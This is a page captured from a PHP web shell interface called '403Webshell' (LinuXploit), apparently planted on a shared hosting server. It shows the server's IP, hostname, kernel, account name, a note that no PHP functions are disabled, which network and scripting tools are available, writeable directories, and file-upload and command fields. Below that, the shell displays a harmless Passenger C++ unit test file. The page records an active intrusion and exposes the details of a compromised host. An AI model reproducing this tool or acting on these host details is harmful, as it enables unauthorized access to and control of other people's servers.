403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.220.98.157
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/test/cxx/Core/SpawningKit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/test/cxx/Core/SpawningKit/ConfigTest.cpp
#include <TestSupport.h>
#include <Core/SpawningKit/Config.h>
#include <cstdlib>
#include <cstring>

using namespace std;
using namespace Passenger;
using namespace Passenger::SpawningKit;

namespace tut {
	struct Core_SpawningKit_ConfigTest: public TestBase {
		SpawningKit::Config config;
	};

	DEFINE_TEST_GROUP(Core_SpawningKit_ConfigTest);

	TEST_METHOD(1) {
		set_test_name("internStrings() internalizes all strings into the object");

		char *str1 = (char *) malloc(32);
		strncpy(str1, "hello", 32);
		config.appType = str1;

		char *str2 = (char *) malloc(32);
		strncpy(str2, "world", 32);
		config.appRoot = str2;

		config.internStrings();

		strncpy(str1, "olleh", 32);
		strncpy(str2, "dlrow", 32);
		free(str1);
		free(str2);
		ensure_equals(config.appType, P_STATIC_STRING("hello"));
		ensure_equals(config.appRoot, P_STATIC_STRING("world"));
	}

	TEST_METHOD(2) {
		set_test_name("internStrings() works when called twice");

		config.appType = "hello";
		config.appRoot = "world";
		config.internStrings();
		config.internStrings();

		ensure_equals(config.appType, P_STATIC_STRING("hello"));
		ensure_equals(config.appRoot, P_STATIC_STRING("world"));
	}

	TEST_METHOD(3) {
		set_test_name("validate() works");
		vector<StaticString> errors;
		unsigned int nErrors;

		ensure("Validation fails", !config.validate(errors));
		ensure("There are errors", !errors.empty());
		nErrors = errors.size();

		config.appRoot = "/foo";
		errors.clear();
		ensure("Validation fails again", !config.validate(errors));
		ensure_equals("There are fewer errors",
			(unsigned int) errors.size(), nErrors - 1);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit